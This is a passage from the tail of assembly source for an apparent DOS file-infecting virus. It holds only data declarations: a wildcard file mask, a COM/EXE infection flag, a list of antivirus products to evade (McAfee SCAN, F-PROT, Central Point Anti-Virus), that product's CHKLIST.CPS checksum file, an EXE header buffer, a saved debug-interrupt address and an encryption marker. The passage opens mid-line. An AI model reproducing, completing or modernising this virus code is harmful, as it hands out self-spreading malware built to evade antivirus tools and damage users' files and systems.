'*.*',00h ; File specification com_or_exe db 00h ; COM or EXE executable set_file_att db 00h ; Set file attributes table_begin db 'MBIO' ; IBMBIO.COM db 'MDOS' ; IBMDOS.COM db 'SCAN ' ; McAfee ViruScan db 'CLEAN ' ; " " db 'F-PROT' ; F-PROT db 'CPAV ' ; Central Point Anti-Virus table_end: chklist_cps db 'CHKLIST.CPS',00h ; Central Point Anti-Virus CRC fil... file_header db 18h dup(?) ; EXE header file_buffer: db 18h dup(?) int01_addr dd ? ; Address of interrupt 01h crypt_end: code_end: db 0d58dh dup(?) dta: db 15h dup(?) ; Used by DOS for find next-process file_attr db ? ; File attribute file_time dw ? ; File time file_date dw ? ; File date filesize dd ? ; Filesize filename db 0dh dup(?) ; Filename data_end: end code_begin